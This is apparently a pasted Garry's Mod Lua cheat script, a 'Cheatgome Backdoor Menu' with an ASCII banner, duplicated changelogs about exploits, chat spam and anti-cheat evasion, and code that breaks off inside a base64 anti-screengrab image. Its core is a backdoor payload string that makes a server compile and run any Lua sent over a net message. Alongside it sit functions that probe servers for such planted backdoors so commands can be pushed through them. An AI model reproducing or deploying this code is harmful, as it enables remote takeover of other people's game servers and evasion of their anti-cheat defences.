· 7 years ago · Jan 24, 2019, 04:54 AM
1
2local shitfuckprints = print
3shitfuckprints( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
4
5MsgC (Color( 255, 255, 255 ), [[
6
7 ______________________________________________________________________________________________________________________
8
9 $$ $$$$$$$$$$$$$$$$$ $$$ $$ $$$ $$
10 $$ $$$$$$$$$$$$$$$$$ $$ $ $$ $$ $ $$
11 $$ $$ $$ $ $$ $$ $ $$
12 $$ $$ $$ $ $$ $$ $ $$
13 $$ $$ $$ $ $$ $$ $ $$
14 $$ $$ $$ $ $$ $$ $ $$
15 $$ $$ $$ $ $$ $$ $ $$
16 $$ $$ $$ $ $$ $$ $ $$
17 $$ $$$$$$$$$$$$$$$$$ $$ $ $$ $$ $ $$
18 $$ $$$$$$$$$$$$$$$$$ $$ $ $$ $$ $ $$
19 $$ $$ $$ $ $$ $$ $ $$
20 $$ $$ $$ $ $$ $$ $ $$
21 $$ $$ $$ $ $$ $$ $ $$
22 $$ $$ $$ $ $$ $$ $ $$
23 $$ $$ $$ $ $$ $$ $ $$
24 $$ $$ $$ $ $$ $$ $ $$
25 $$ $$$$$$$$$$$$$$$$$ $$ $ $$ $$ $ $$
26 $$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$ $$ $$$ $$ $$$
27 ______________________________________________________________________________________________________________________
28
29
30
31
32 _______________________________________
33 ||| |||
34 === Cheatgome Backdoor Menu ===
35 ||| By Lenn |||
36 _______________________________________
37
38
39
40
41
42
43
44
45
46
47
48
49 To open this menu type cheatgomebd_Menu in the console.
50 R8 Menu is added. it is everything from exploits to fucking skids up.
51
52
53
54 Change Logs Are Down Here.
55
56
57// Cheatgomebackdoor
58// By Lenn
59
60
61// Change Logs (not all of them of course.) //
62
63// Update V1 > Created backdoor menu. with DISCO BUTTON!!!!!!!!!!!
64
65// Update v1.0.5 > Rearranged texts. did not want them to be cancerous readings
66
67// Update v1.4.0 > Added a retarted idiotbox screengrab paste?
68
69// Update V2 > Added a lot of buttons. customizing chat spams and shit + more syndrome buttons
70
71// Update V2.0.8 > Added DO NOT PRESS THE BUTTON. this was suppose to fuck your screen but instead it spams rainbow texts in the console
72
73// Update v2.1.0 > i assumed anti-cheat detector is added
74
75// Update v2.6.9 > i guess its more like editing buttons and shit
76
77// Update v2.8.9 > added buttons and shit. i guess
78
79// Update v2.9.0 > Removed idiotbox screengrab paste. and replaced it with a simple one line of screengrab blocker
80
81// Update v3.2.5 > Big update. added R8 exploits and backdoor menu into cheatgomebackdoor. and printed text in console.
82
83// Update v3.2.7 > Little update. Attempted to paste SNTE Bypasser into cheatgomebackdoor. didnt work, and also added the fucking SNTE detector. i guess it works
84
85// Update V3.3.0 > Readded the retarted idiotbox screengrab paste again. but this time it has a new method of detecting screengrabs. like Render.CapturePixels2 or something like that smth
86
87 ]])
88
89-- END OF PRINTING. FGT
90
91
92
93
94// Cheatgomebackdoor
95// By Lenn
96
97
98// Change Logs (not all of them of course.) //
99
100// Update V1 > Created backdoor menu. with DISCO BUTTON!!!!!!!!!!!
101
102// Update v1.0.5 > Rearranged texts. did not want them to be cancerous readings
103
104// Update v1.4.0 > Added a retarted idiotbox screengrab paste?
105
106// Update V2 > Added a lot of buttons. customizing chat spams and shit + more syndrome buttons
107
108// Update V2.0.8 > Added DO NOT PRESS THE BUTTON. this was suppose to fuck your screen but instead it spams rainbow texts in the console
109
110// Update v2.1.0 > i assumed anti-cheat detector is added
111
112// Update v2.6.9 > i guess its more like editing buttons and shit
113
114// Update v2.8.9 > added buttons and shit. i guess
115
116// Update v2.9.0 > Removed idiotbox screengrab paste. and replaced it with a simple one line of screengrab blocker
117
118// Update v3.2.5 > Big update. added R8 exploits and backdoor menu into cheatgomebackdoor.
119
120// Update v3.2.7 > Little update. Attempted to paste SNTE Bypasser into cheatgomebackdoor. didnt work, and also added the fucking SNTE detector. i guess it works
121
122// Update V3.3.0 > Readded the retarted idiotbox screengrab paste again. but this time it has a new method of detecting screengrabs. like Render.CapturePixels2 or something like that smth
123
124
125
126
127
128
129
130
131
132
133
134
135 //cheatgome's backdoor (PRIVATED)
136
137//local odium = jit.status( 'ODIUM' ) if !istable(odium) then print('FAILED TO IMPORT ODIUM TABLE') end
138
139local BD = {}
140local h = http
141
142
143BD.Backdoors = BD.Backdoors or {}
144
145BD.CurrentBackdoor = "CheatgomeBD"
146
147
148
149
150BD.BackdoorTypes = {
151
152 ["CheatgomeBD"] = {
153
154 ["Code"] = "util.AddNetworkString( 'CheatgomeBD' ) net.Receive( 'CheatgomeBD', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
155
156 ["Netkey"] = "CheatgomeBD",
157
158 },
159
160}
161
162
163
164local netsss = net.Start
165
166function BD.IsMessagePooled( netmessage )
167
168local netfunc = netsss
169
170local status, error = pcall( netfunc, netmessage )
171
172return status
173
174end
175
176
177
178local net = net
179
180
181
182
183local ctxt = chat.AddText
184
185function BD.ChatText( message, col )
186
187 ctxt( Color(118,247,255,0), "[CheatgomeBD] ", col, message )
188
189end
190
191
192
193function BD.PingBackDoors()
194
195 local bds = {}
196
197 for k, v in pairs(BD.BackdoorTypes) do
198
199 if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
200
201 end
202
203 return bds
204
205end
206
207concommand.Add("cheatgomebd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
208
209
210
211function BD.BackdoorActive()
212
213 return table.Count( BD.Backdoors ) > 0
214
215end
216
217
218
219function BD.GetActive()
220
221 if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
222
223 return BD.BackdoorTypes[BD.CurrentBackdoor]
224
225end
226
227
228
229
230local missingpng = file.Read("materials/missing256.png", "GAME")
231local idiot_antiscreengrab = "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